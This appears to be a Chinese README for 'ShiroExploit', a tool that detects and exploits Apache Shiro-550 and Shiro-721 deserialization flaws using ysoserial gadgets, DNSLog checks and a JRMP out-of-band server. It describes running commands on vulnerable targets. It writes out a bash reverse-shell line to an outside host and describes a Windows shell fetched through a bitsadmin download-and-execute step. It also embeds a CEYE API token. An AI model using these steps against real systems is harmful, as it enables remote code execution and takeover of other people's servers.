支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测
- 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。
- 程序会首先使用
URLDNS筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload - 不支持 JRMP 的方式
- 注意:程序会使用 API:http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget

- 需要在 VPS 上通过命令
java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启OOB Service,并按照要求填入相应IP和端口 - 如果开启OOB Service时未指定端口号,则HTTPService默认监听
8080端口,JRMPListener默认监听8088端口 - 支持 JRMP 的方式
使用第三方DNSLog平台筛选出唯一Key(可选)支持采用人工干预的方式提前筛选出唯一有效的 Key,从而提升检测效率。此项也可以不进行配置,如若不配置,针对每个 Gadget,会调用所有的 Key 分别加密生成 Payload,影响检测效率。

- 程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
反弹shell(linux)采用bash -i >& /dev/tcp/1.2.3.4/443 0>&1的方式反弹 shell反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell

在使用漏洞检测主程序或者使用OOBService时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
感谢 AgeloVito 给予本项目的大量技术支持
